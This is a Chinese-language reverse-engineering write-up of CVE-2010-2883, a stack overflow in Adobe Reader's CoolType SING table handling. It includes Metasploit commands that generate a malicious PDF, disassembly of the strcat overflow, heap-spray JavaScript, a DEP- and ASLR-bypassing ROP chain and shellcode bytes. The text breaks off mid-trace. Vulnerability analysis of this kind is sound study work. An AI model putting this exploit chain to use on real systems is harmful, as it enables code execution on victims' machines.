CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
漏洞描述
Adobe Reader 和 Acrobat 9.4 之前版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体的 Smart INdependent Glyphlets (SING) 表格中超长字段的 PDF 文件执行任意代码或者导致拒绝服务。
漏洞复现
| |推荐使用的环境 | 备注 | | — | — | — | | 操作系统 | Windows XP SP3 | 体系结构：32 位 | | 调试器 | OllyDbg | 版本号：吾爱专版 | | 反汇编器 | IDA Pro | 版本号：6.8 | | 漏洞软件 | Adobe Reader | 版本号：9.3.4 |
我们利用 Metasploit 来生成攻击样本：
msf > search cve-2010-2883
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/adobe_cooltype_sing 2010-09-07 great Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(windows/fileformat/adobe_cooltype_sing) > show info
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf exploit(windows/fileformat/adobe_cooltype_sing) > set cmd calc.exe
cmd => calc.exe
msf exploit(windows/fileformat/adobe_cooltype_sing) > set filename cve20102883.pdf
filename => cve20102883.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) > exploit
[*] Creating 'cve20102883.pdf' file...
[+] cve20102883.pdf stored at /home/firmy/.msf4/local/cve20102883.pdf
使用漏洞版本的 Adobe Reader 打开样本，即可弹出计算器。
漏洞分析
PDF 文件格式
首先当然得知道 PDF 格式是怎样的。
|------------|
| header |
|------------|
| body |
|------------|
| xref table |
|------------|
| trailer |
|------------|
由 4 个部分组成：
- header：文件的第一行，指明了 PDF 文件的版本号，通常格式是
%PDF-1.x。 - body：文件的主体部分，通常由对象文件组成，包括文本、图片和其他的多媒体文件等。
- xref table：包含了对文件中所有对象的引用，通过它可以知道文件中有多少对象、对象的偏移以及字节长度。
- trailer：包含指向交叉引用表以及关键对象的指针，并以
%%EOF标记文件结束。
当我们对一个 PDF 文件执行 Save（保存）操作时，新添加的信息将会附加到原文件的末尾，即所谓的增量保存。这些信息主要由 3 部分（body changes, xref, trailer）组成，此时的 PDF 文件如下所示：
|--------------|
| header | ------------
|--------------|
| body |
|--------------| Original File
| xref table |
|--------------|
| trailer | ------------
|--------------|
| body changes |
|--------------| Update 1
| xref |
|--------------|
| trailer | ------------
|--------------|
| ... | ...
|--------------|
| body changes | ------------
|--------------|
| xref | Update n
|--------------|
| trailer | ------------
|--------------|
这样子虽然方便，但体积会越来越大。此时我们可以执行 Save as（另存为）操作，将所有的更新信息合并成一个完整的新的 PDF，格式回到一开始的结构，体积也相应的有所减小。
例如可以利用工具 PDFStreamDumper 解析我们的样本，其 xref 和 trailer 如下所示：
xref
0 15
0000000000 65535 f
0000000015 00000 n
0000000133 00000 n
0000000264 00000 n
0000000294 00000 n
0000000334 00000 n
0000000465 00000 n
0000000497 00000 n
0000000713 00000 n
0000000835 00000 n
0000001006 00000 n
0000041366 00000 n
0000041449 00000 n
0000045319 00000 n
0000045358 00000 n
trailer
<</S#69#7a#65 15/R#6f#6f#74 1 0 R>>
startxref
45789
%%EOF
.
该节区的对象的起始编号为 0,包含的对象个数为 15 个，每个对象在交叉引用表中占据一行。我们看到每行分为三列，分别表示对象在 PDF 中的文件偏移、对象的生成号和是否使用标志（f 表示 free，n 表示 used）。第一行对应的对象 ID 为 0，生成号总是 65535，而最后一行的生成号总是 0。
TTF 文件格式
根据漏洞通告，我们知道是 TTF 字体的 SING 表引起的溢出。所以再来看一下 TTF 文件格式。
TTF 包含有一个表 TableDirectory，其中有一个 TableEntry 结构项，包含了资源标记、校验和、偏移量和每个表的大小：
typedef sturct
{
char tag[4];
ULONG checkSum;
ULONG offset;
ULONG length;
} TableEntry;
typedef struct
{
Fixed sfntversion;
USHORT numTables;
USHORT searchRange;
USHORT entrySelector;
USHORT rangeShift;
TableEntry entries[numTables];
} TableDirectory;
另外，SING 表的结构如下：
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT embeddinginfo;
USHORT mainGID;
USHORT unitsPerEm;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE[28] uniqueName;
BYTE[16] METAMD5;
BYTE nameLength;
BYTE[] baseGlyphName;
} SINGTable;
还是利用 PDFStreamDumper，从样本里将 TTF 取出来，需要注意的是 TTF 采用大端序。
$ xxd -g1 hexC0E5.tmp | grep -A1 "SING" 000000e0: 05 47 06 3a 00 00 eb 2c 00 00 00 20 53 49 4e 47 .G.:...,... SING 000000f0: d9 bc c8 b5 00 00 01 1c 00 00 1d df 70 6f 73 74 ............post
加粗部分即 SING 表目录项，其 offset 域为 0x0000011c。
于是找到 SING 表，其中加粗部分为 uniqueName 域：
$ xxd -g1 hexC0E5.tmp | grep -A3 "00000110" 00000110: 3b 07 f1 00 00 00 20 f8 00 00 05 68 00 00 01 00 ;..... ....h.... 00000120: 01 0e 00 01 00 00 00 00 00 00 00 3a 92 f3 5e 4d ...........:..^M 00000130: 73 5d 52 c2 14 a7 82 4a 0c 0c 0c 0c bc 94 b0 83 s]R....J........ 00000140: 45 a2 04 7d 13 4b 30 18 98 95 ed 9f 3e cc 50 8b E..}.K0.....>.P.
栈溢出
我们已经知道栈溢出发生在 SING 表的处理中，于是在 IDA 中打开 CoolType.dll，搜索字符串 “SING”：
.rdata:0819DB4C ; char aSing[]
.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o
.rdata:0819DB4C ; sub_803DCF9+7B↑o ...
.rdata:0819DB51 align 4
对每个数据引用进行检查，发现 sub_803DCF9+7B↑o 的下方存在危险函数 strcat：
.text:0803DCF9 ; __unwind { // loc_8184A54
.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h ; 分配栈空间 104h
.text:0803DD00 lea ebp, [esp-4] ; ebp 赋值为 esp-4
.text:0803DD04 mov eax, ___security_cookie
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset loc_8184A54
.text:0803DD18 call __EH_prolog3_catch
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0] ; edi 赋值为 arg_0
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 ; try {
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD4F ; } // starts at 803DD40
.text:0803DD53 ; try {
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; this 指针的地址，指向 SING 表入口
.text:0803DD7D call sub_8021B06 ; sub_8021B06(edi, "SING")，处理 SING 表
.text:0803DD82 mov eax, [ebp+108h+var_12C]
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD85 ; } // starts at 803DD53
.text:0803DD87 ; try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 不跳转
.text:0803DD8D mov ecx, [eax] ; SING 表开头 4 字节，即字体资源版本号（00 01 00 00）
.text:0803DD8F and ecx, 0FFFFh ; 结果为 0
.text:0803DD95 jz short loc_803DD9F ; 跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h ; uniqueName 域
.text:0803DDA2 push eax ; Source ; 指向 uniqueName 的指针
.text:0803DDA3 lea eax, [ebp+108h+Dest]
.text:0803DDA6 push eax ; Dest ; 目的地址是固定大小的栈空间
.text:0803DDA7 mov [ebp+108h+Dest], 0
.text:0803DDAB call strcat ; 造成溢出
在调用 strcat 函数时，未对 uniqueName 的字符串长度进行检查，直接将其复制到固定大小的栈空间，造成溢出。strcat 函数原型如下：
char *strcat(char *dest, const char *src);
char *strncat(char *dest, const char *src, size_t n);
下面打开 OllyDbg 调试一下，先来看看函数 sub_8021B06 做了什么，在 0803DD7D 设置断点，然后在 Reader 中打开样本，程序就断了下来：
0803DD7D E8 843DFEFF call CoolType.08021B06
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24]
此时的 this 指针指向 TTF 对象：
d ecx: 0012E4B4 B0 54 18 02 98 15 FC 01 00 00 00 00 00 00 00 00 癟??........ d 021854B0: 021854B0 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 .......OS/2 <-- TableDirectory 021854C0 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT ...
然后 F8 单步步过，eax 里是函数的返回值 0012E4B4，其值等于 this 指针的地址。
d 0012E4B4: 0012E4B4 38 B9 7D 04 DF 1D 00 00 00 00 00 00 00 00 00 00 8箎?..........
下一句给 eax 赋值为一个指向 SING 表的指针，即 this 指针的内容。
d 047DB938:
047DB938 00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A ...........: <-- SING
047DB948 92 F3 5E 4D 73 5D 52 C2 14 A7 82 4A 0C 0C 0C 0C 掦^Ms]R?J.... <-- uniqueName
047DB958 BC 94 B0 83 45 A2 04 7D 13 4B 30 18 98 95 ED 9F 紨皟E?}K0槙頍 <-- 0x1c bytes
047DB968 3E CC 50 8B AC FE B5 5C 8F 86 D5 26 8B 36 0C 13 >蘌嫭\弳??.
047DB978 25 2D 1F C3 0E 47 40 13 C9 1C 5F 86 90 AC 42 6D %- ?G@?_啇珺m
047DB988 40 44 C6 D4 59 9A AC 7D 1B E1 CA 25 3E E4 B3 05 @D圃Y毈}崾%>涑
047DB998 0D 85 43 B3 D9 58 4E 7E B9 A3 6D 4C 89 29 1D FE .匔迟XN~梗mL?
047DB9A8 73 9A C4 84 6C 29 7A 5D 6D 7B 6E 1C 39 E0 1E E4 s毮刲)z]m{n 9?
047DB9B8 51 7A 86 DE 7B FB 6F 04 B0 CF 3E E0 CF 4C AB FA Qz嗈{鹢跋>嘞L
047DB9C8 71 41 CD 19 69 68 4E F6 35 A1 B5 3C 66 77 F2 45 qA?ihN?〉 fw駿
047DB9D8 71 73 01 C0 19 F4 A4 E1 D9 8A 8B C2 85 83 EA 2F qs?簸豳妺聟冴/
047DB9E8 6E ED 57 4D E6 B7 7F 88 48 BD 16 8E DC 51 9E 7E n鞼M娣圚?庈Q瀪
047DB9F8 BE 8B 09 8E 53 50 ED A9 F1 AC AE AD 01 5C 1E 11 緥.嶴P愆瘳\
047DBA08 33 06 83 44 4B 4A EC 9F 26 3A AF 0A 74 62 C5 1E 3僁KJ鞜&:?tb?
047DBA18 AE A8 58 3F F3 F1 82 F0 4D AC DA AE 10 AB 02 B9 X?篑傪M??
047DBA28 E2 03 EF F6 76 B4 EF 35 4D 8D 45 3B F4 FE 9A D0 ?秭v达5M岴;酤毿
047DBA38 58 AE 97 E5 D7 D8 EF 62 2F 4E 30 D6 B8 B4 A2 73 X畻遄仫b/N0指储s
047DBA48 E3 B7 84 6A A9 41 CE 16 CC FB 8B 1D 43 1B B5 DB 惴刯〢?帖?C帝
047DBA58 1D 60 EC BE C1 47 BA 2A 03 DD 3A C4 E1 93 74 1D `炀罣??尼搕
047DBA68 66 41 B0 85 B8 2A 5E DE 39 C9 5D 97 ED 1B 82 65 fA皡?^?蒥楉俥
047DBA78 C6 08 8A 4A E5 20 41 0C 26 0A 03 AA 46 C5 36 C9 ?奐?A.&.狥?
047DBA88 CB 76 1D C4 56 BD 76 A3 34 F7 2B 79 1F 6D 51 2C 藇 腣絭??y mQ,
047DBA98 9F 79 21 5E A8 94 1B 4A 05 BF B3 7C BC B2 FD 99 焬!^〝J砍|疾龣
047DBAA8 E5 B3 08 D2 BC 86 25 BB C1 F8 DE F3 4A C8 1E 82 宄壹?涣驤?
047DBAB8 25 12 18 C2 A9 F1 E6 36 92 94 01 29 98 A3 F5 A3 %漏矜6挃)槪酰
047DBAC8 25 4B 02 0D 17 F2 87 B1 99 A5 8F 6F AA 81 21 64 %K.驀睓o獊!d
047DBAD8 B8 57 11 6D CF 88 FC B8 22 B9 2B 58 66 CF D2 8B 竁m蠄"?Xf弦
047DBAE8 F8 12 D6 82 CC B3 5E 28 B4 85 51 54 23 2B 74 21 ?謧坛^(磪QT#+t!
047DBAF8 FC 6D 97 08 96 0D BE 76 F5 46 04 72 A6 7B CA 29 黰??緑鮂r?
047DBB08 07 C6 41 55 B2 48 D9 F5 C7 E3 0C 35 1E DA 06 BF 艫U睭脔倾.5 ?
047DBB18 D3 62 D4 D3 D4 A8 D3 AF A1 17 09 13 E1 5B 18 FD 觔杂渊盈?.醄
047DBB28 ED 04 43 AC 1C 6F A6 1E 02 64 49 D1 5F 5E 54 75 ?C?o?dI裚^Tu
047DBB38 A7 24 35 67 FF CC E6 E0 38 CB 80 4A 44 B6 49 EA ?5g替?藔JD禝 <-- ROP
047DBB48 A5 2D 16 26 4B B1 FA D2 87 82 36 34 9C F8 BD E0 ?&K柄覈?4滧洁
047DBB58 7D 33 0F 1E 66 5B 23 98 E3 1A 80 55 CE 9F D3 BD }3 f[#樸€U螣咏
047DBB68 CE 3C 13 48 AF 4D BA 78 DB 4E EA 5F 34 3F 14 8C ?H疢簒跱阓4?
047DBB78 80 56 8D 65 A8 84 38 6D 91 4E B1 54 6C 00 00 00 €V峞▌8m慛盩l... <-- 0x22d bytes
所以这个函数的作用已经清楚了，通过传入的 tag 字符串，在 this 指针指向的 TTF 对象里找到对应的表目录项，使用表地址重置 this 指针。
接下来就是 strcat 函数了。
0803DD9F 83C0 10 add eax,0x10
0803DDA2 50 push eax
0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp]
0803DDA6 50 push eax
0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0
0803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat>
根据上面的 SING 表可以看到，uniqueName 原本只应该有最多 0x1c 个字节，但 strcat 根据 “\x00” 来作为字符串的结束，将导致复制 0x22d 个字节到栈上，造成溢出。
ROP
我们对复制到栈上的这段数据（0012E4D8~0012E714）设置内存访问断点。并开启 run trace 进行函数跟踪。
继续运行，然后我们记录下函数调用：
CoolType.08016BDE --> CoolType.0801BB21 --> CoolType.0808B116 --> icucnv36.4A80CB38
0803DEAC 50 push eax
0803DEAD 53 push ebx
0803DEAE 57 push edi
0803DEAF E8 2A8DFDFF call CoolType.08016BDE
CoolType.08016BDE：
08016C46 6A 01 push 0x1
08016C48 53 push ebx
08016C49 53 push ebx
08016C4A 8D45 EC lea eax,dword ptr ss:[ebp-0x14]
08016C4D 50 push eax
08016C4E 8D45 D0 lea eax,dword ptr ss:[ebp-0x30]
08016C51 50 push eax
08016C52 57 push edi
08016C53 FF75 E8 push dword ptr ss:[ebp-0x18]
08016C56 E8 C64E0000 call CoolType.0801BB21
CoolType.0801BB21：
0801BB24 FF75 20 push dword ptr ss:[ebp+0x20]
0801BB27 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8]
0801BB2A FF75 1C push dword ptr ss:[ebp+0x1C]
0801BB2D 8B01 mov eax,dword ptr ds:[ecx] ; CoolType.081A601C
0801BB2F FF75 18 push dword ptr ss:[ebp+0x18]
0801BB32 FF05 A0A62308 inc dword ptr ds:[0x823A6A0]
0801BB38 FF75 14 push dword ptr ss:[ebp+0x14]
0801BB3B FF75 10 push dword ptr ss:[ebp+0x10]
0801BB3E FF75 0C push dword ptr ss:[ebp+0xC]
0801BB41 FF10 call dword ptr ds:[eax] ; CoolType.0808B116
最终来到 CoolType.0808B116 里的关键点：
0808B11D 8B7D 08 mov edi,dword ptr ss:[ebp+0x8]
...
0808B2E3 8B47 3C mov eax,dword ptr ds:[edi+0x3C] ; eax = ds:[edi+0x3C]
0808B2E6 3BC3 cmp eax,ebx
0808B2E8 8986 F4020000 mov dword ptr ds:[esi+0x2F4],eax
0808B2EE 899E F8020000 mov dword ptr ds:[esi+0x2F8],ebx
0808B2F4 895D FC mov dword ptr ss:[ebp-0x4],ebx
0808B2F7 75 07 jnz short CoolType.0808B300
0808B2F9 32C0 xor al,al
0808B2FB E9 94020000 jmp CoolType.0808B594
0808B300 8D4D FC lea ecx,dword ptr ss:[ebp-0x4]
0808B303 51 push ecx
0808B304 53 push ebx
0808B305 6A 03 push 0x3
0808B307 50 push eax
0808B308 FF10 call dword ptr ds:[eax] ; icucnv36.4A80CB38
通过最后的 call 指令，程序跳转到了 ROP 链。回忆一下 uniqueName 域从 0012E4D8 开始：
4A80CB38 81C5 94070000 add ebp,0x794 ; ebp = 0012E4DC
4A80CB3E C9 leave ; esp = 0012E4E0, ebp = C2525D73
4A80CB3F C3 retn ; esp = 0012E4E4, eip = 4A82A714
d esp:
0012E4E4 0C 0C 0C 0C BC 94 B0 83 45 A2 04 7D 13 4B 30 18 ....紨皟E?}K0
0012E4F4 98 95 ED 9F 3E CC 50 8B AC FE B5 5C 8F 86 D5 26 槙頍>蘌嫭\弳?
于是跳转到 4A82A714：
4A82A714 5C pop esp ; esp = 0C0C0C0C
4A82A715 C3 retn ; esp = 0C0C0C10, eip = 4A8063A5
在进入下面的内容前，我们再来看一个东西，即 eax 是由 edi 控制的，通过对函数调用的回溯，可以看到程序对 edi 的处理，它的值在整个过程中都是不变的，而且 edi+0x3C 正好存放第一个 gadget 的地址。所以只要这个地址被覆盖，就可以控制 EIP 了。
d edi+0x3C: 0012E754 D0 E6 12 00 00 00 00 00 00 AA 04 08 00 00 00 00 墟......?.... <-- eax d 0012E6D0: 0012E6D0 38 CB 80 4A 44 B6 49 EA A5 2D 16 26 4B B1 FA D2 8藔JD禝辚-&K柄 <-- ROP
Heap spray
上面的 gadget 返回后，堆栈就被转移到 heap spray 的地方了。
Heap spray 是在 shellcode 的前面加上大量的 slide code（滑板指令），组成一个注入代码段。然后向系统申请大量内存，并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流，使得程序执行到堆上，最终将导致 shellcode 的执行。
我们来实际看一下（加粗的地方是后面会用到的 gadgets 地址）：
0C0C0BE0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
0C0C0BF0 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
0C0C0C00 0C 0C 0C 0C 0C 0C 0C 0C 41 41 41 41 A5 63 80 4A ........AAAA€J
0C0C0C10 00 00 8A 4A 96 21 80 4A 90 1F 80 4A 3C 90 84 4A ..奐?€J?€J<悇J <-- ROP
0C0C0C20 92 B6 80 4A 64 10 80 4A C8 22 85 4A 00 00 00 10 挾€Jd€J?匤...
0C0C0C30 00 00 00 00 00 00 00 00 02 00 00 00 02 01 00 00 .............
0C0C0C40 00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A ....€Jd€J?凧
0C0C0C50 B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A ?€J...Θ€J?€J
0C0C0C60 38 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF 8悇J挾€Jd€J
0C0C0C70 00 00 00 00 40 00 00 00 00 00 00 00 00 00 01 00 ....@..........
0C0C0C80 00 00 00 00 A5 63 80 4A 64 10 80 4A B2 2D 84 4A ....€Jd€J?凧
0C0C0C90 B1 2A 80 4A 08 00 00 00 A6 A8 80 4A 90 1F 80 4A ?€J...Θ€J?€J
0C0C0CA0 30 90 84 4A 92 B6 80 4A 64 10 80 4A FF FF FF FF 0悇J挾€Jd€J
0C0C0CB0 22 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 "..............
0C0C0CC0 A5 63 80 4A 04 00 8A 4A 96 21 80 4A A5 63 80 4A €J.奐?€J€J
0C0C0CD0 64 10 80 4A B2 2D 84 4A B1 2A 80 4A 30 00 00 00 d€J?凧?€J0...
0C0C0CE0 A6 A8 80 4A 90 1F 80 4A 04 00 8A 4A D8 A7 80 4A Θ€J?€J.奐丕€J
0C0C0CF0 A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A €Jd€J?凧?€J
0C0C0D00 20 00 00 00 A6 A8 80 4A A5 63 80 4A 64 10 80 4A ...Θ€J€Jd€J
0C0C0D10 DC AE 80 4A 90 1F 80 4A 34 00 00 00 85 D5 80 4A 墚€J?€J4...呎€J
0C0C0D20 A5 63 80 4A 64 10 80 4A B2 2D 84 4A B1 2A 80 4A €Jd€J?凧?€J
0C0C0D30 0A 00 00 00 A6 A8 80 4A 90 1F 80 4A 70 91 84 4A ....Θ€J?€Jp憚J
0C0C0D40 92 B6 80 4A FF FF FF FF FF FF FF FF FF FF FF FF 挾€J
0C0C0D50 00 10 00 00 DB C1 D9 74 24 F4 BB 81 F4 49 9E 5A ...哿賢$艋侓I瀂 <-- shellcode
0C0C0D60 29 C9 B1 31 31 5A 18 03 5A 18 83 C2 85 16 BC 62 )杀11ZZ兟?糱
0C0C0D70 6D 54 3F 9B 6D 39 C9 7E 5C 79 AD 0B CE 49 A5 5E mT?沵9蓗\y?蜪
0C0C0D80 E2 22 EB 4A 71 46 24 7C 32 ED 12 B3 C3 5E 66 D2 ?隞qF$|2?趁^f
0C0C0D90 47 9D BB 34 76 6E CE 35 BF 93 23 67 68 DF 96 98 G澔4vn?繐#gh邧
0C0C0DA0 1D 95 2A 12 6D 3B 2B C7 25 3A 1A 56 3E 65 BC 58 ?m;+?:V>e糥
0C0C0DB0 93 1D F5 42 F0 18 4F F8 C2 D7 4E 28 1B 17 FC 15 ?魾?O譔(?
0C0C0DC0 94 EA FC 52 12 15 8B AA 61 A8 8C 68 18 76 18 6B 旉黂嫪a▽hvk
0C0C0DD0 BA FD BA 57 3B D1 5D 13 37 9E 2A 7B 5B 21 FE F7 糊篧;裖7?{[!
0C0C0DE0 67 AA 01 D8 EE E8 25 FC AB AB 44 A5 11 1D 78 B5 g?仡?獶? x
0C0C0DF0 FA C2 DC BD 16 16 6D 9C 7C E9 E3 9A 32 E9 FB A4 芙m渱殂?辂
0C0C0E00 62 82 CA 2F ED D5 D2 E5 4A 29 99 A4 FA A2 44 3D b偸/碚义J)櫎D=
0C0C0E10 BF AE 76 EB 83 D6 F4 1E 7B 2D E4 6A 7E 69 A2 87 慨v雰拄 {-鋔~i
0C0C0E20 F2 E2 47 A8 A1 03 42 CB 24 90 0E 22 C3 10 B4 3A 蜮GāB??"??
0C0C0E30 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................ <-- NOP slide
0C0C0E40 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C ................
通过 PDFStreamDumper 可以看到内嵌的 JavaScript，将变量还原后代码如下：
var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000 ...省略大量字符... a1%ucb42%u9024%u220e%u10c3%u3ab4' );
var rop = unescape( "%u0c0c%u0c0c" );
while (rop.length + 20 + 8 < 65536) rop+=rop;
SP = rop.substring(0, (0x0c0c-0x24)/2);
SP += shellcode;
SP += rop;
slackspace = SP.substring(0, 65536/2);
while(slackspace.length < 0x80000) slackspace += slackspace;
bigblock = slackspace.substring(0, 0x80000 - (0x1020-0x08) / 2);
var memory = new Array();
for (count=0;count<0x1f0;count++) memory[count]=bigblock+"s";
接下来程序将依次执行下面的 gadgets：
4A8063A5 59 pop ecx ; esp = 0C0C0C14, ecx = 4A8A0000
4A8063A6 C3 retn ; esp = 0C0C0C18, eip = 4A802196
4A802196 8901 mov dword ptr ds:[ecx],eax
4A802198 C3 retn ; eip = 4A801F90
4A801F90 58 pop eax ; eax = 4A84903C <&KERNEL32.CreateFileA>
4A801F91 C3 retn ; esp = 0C0C0C24, eip = 4A80B692
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileA
调用函数 kernel32.CreateFileW 创建文件，各参数如下所示：
0C0C0C04 7FFDFC00 |FileName = "iso88591"
0C0C0C08 10000000 |Access = GENERIC_ALL
0C0C0C0C 00000000 |ShareMode = 0
0C0C0C10 00000000 |pSecurity = NULL
0C0C0C14 00000002 |Mode = CREATE_ALWAYS
0C0C0C18 00000102 |Attributes = HIDDEN|TEMPORARY
0C0C0C1C 00000000 \hTemplateFile = NULL
然后通过同样的方法调用 CreateFileMapping：
4A8063A5 59 pop ecx ; esp = 0C0C0C4C, ecp = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0C50, eip = 4A842DB2
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn ; esp = 0C0C0C54, eip = 4A802AB1
4A802AB1 5B pop ebx ; esp = 0C0C0C58, ebx = 00000008
4A802AB2 C3 retn ; esp = 0C0C0C5C, eip = 4A80A8A6
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
4A80A8A9 75 03 jnz short icucnv36.4A80A8AE
4A80A8AB B0 01 mov al,0x1
4A80A8AD C3 retn
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn ; esp = 0C0C0C60, eip = 4A801F90
4A801F90 58 pop eax ; esp = 0C0C0C64, eax = 4A849038 <&KERNEL32.CreateFileMappingA>
4A801F91 C3 retn ; esp = 0C0C0C68, eip = 4A80B692
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.CreateFileMappingA
调用函数 kernel32.CreateFileMappingW 创建内存映射，各参数如下所示：
0C0C0C40 000003D4 |hFile = 000003D4
0C0C0C44 00000000 |pSecurity = NULL
0C0C0C48 00000040 |Protection = PAGE_EXECUTE_READWRITE
0C0C0C4C 00000000 |MaximumSizeHigh = 0x0
0C0C0C50 00010000 |MaximumSizeLow = 0x10000
0C0C0C54 00000000 \MapName = NULL
接下来是调用 MapViewOfFile 的过程：
4A8063A5 59 pop ecx ; esp = 0C0C0C8C, ecx = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0C90, eip = 4A842DB2
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn ; esp = 0C0C0C94, eip = 4A802AB1
4A802AB1 5B pop ebx ; esp = 0C0C0C98, ebx = 00000008
4A802AB2 C3 retn ; esp = 0C0C0C9C, eip = 4A80A8A6
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn ; esp = 0C0C0CA0, eip = 4A801F90
4A801F90 58 pop eax ; esp = 0C0C0CA4, eax = 4A849030 <&KERNEL32.MapViewOfFile>
4A801F91 C3 retn ; esp = 0C0C0CA8, eip = 4A80B692
4A80B692 - FF20 jmp dword ptr ds:[eax] ; kernel32.MapViewOfFile
调用函数 kernel32.MapViewOfFileEx 将文件映射到内存映射地址空间，各参数如下所示：
0C0C0C8C 000003D8 |hMapObject = 000003D8
0C0C0C90 00000022 |AccessMode = 0x22
0C0C0C94 00000000 |OffsetHigh = 0x0
0C0C0C98 00000000 |OffsetLow = 0x0
0C0C0C9C 00010000 |MapSize = 10000 (65536.)
0C0C0CA0 00000000 \BaseAddr = NULL
最后调用函数 memcpy 将真正的 shellcode 复制到 MapViewOfFile 返回的地址处。这是一段可读可写可执行的内存，从而绕过 DEP。另外由于所使用的 gadgets 都来自 icucnv36.dll 模块，该模块不受 ASLR 的影响，所以同时也相当于绕过了 ASLR。
4A8063A5 59 pop ecx ; esp = 0C0C0CC8, ecx = 4A8A0004
4A8063A6 C3 retn ; esp = 0C0C0CCC, eip = 4A802196
4A802196 8901 mov dword ptr ds:[ecx],eax
4A802198 C3 retn ; esp = 0C0C0CD0, eip = 4A8063A5
4A8063A5 59 pop ecx ; esp = 0C0C0CD4, ecx = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0CD8, eip = 4A842DB2
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn ; esp = 0C0C0CDC, eip = 4A802AB1
4A802AB1 5B pop ebx ; esp = 0C0C0CE0, ebx = 00000030
4A802AB2 C3 retn ; esp = 0C0C0CE4, eip = 4A80A8A6
4A80A8A6 213C5C and dword ptr ss:[esp+ebx*2],edi
...
4A80A8C8 32C0 xor al,al
4A80A8CA C3 retn ; esp = 0C0C0CE8, eip = 4A801F90
4A801F90 58 pop eax ; esp = 0C0C0CEC, eax = 4A8A0004
4A801F91 C3 retn ; esp = 0C0C0CF0, eip = 4A80A7D8
4A80A7D8 8B00 mov eax,dword ptr ds:[eax]
4A80A7DA C3 retn ; esp = 0C0C0CF4, eip = 4A8063A5
4A8063A5 59 pop ecx ; esp = 0C0C0CF8, ecx = 4A801064
4A8063A6 C3 retn ; esp = 0C0C0CFC, eip = 4A842DB2
4A842DB2 97 xchg eax,edi
4A842DB3 C3 retn ; esp = 0C0C0D00, eip = 4A802AB1
4A802AB1 5B pop ebx ; esp = 0C0C0D04, ebx = 00000020
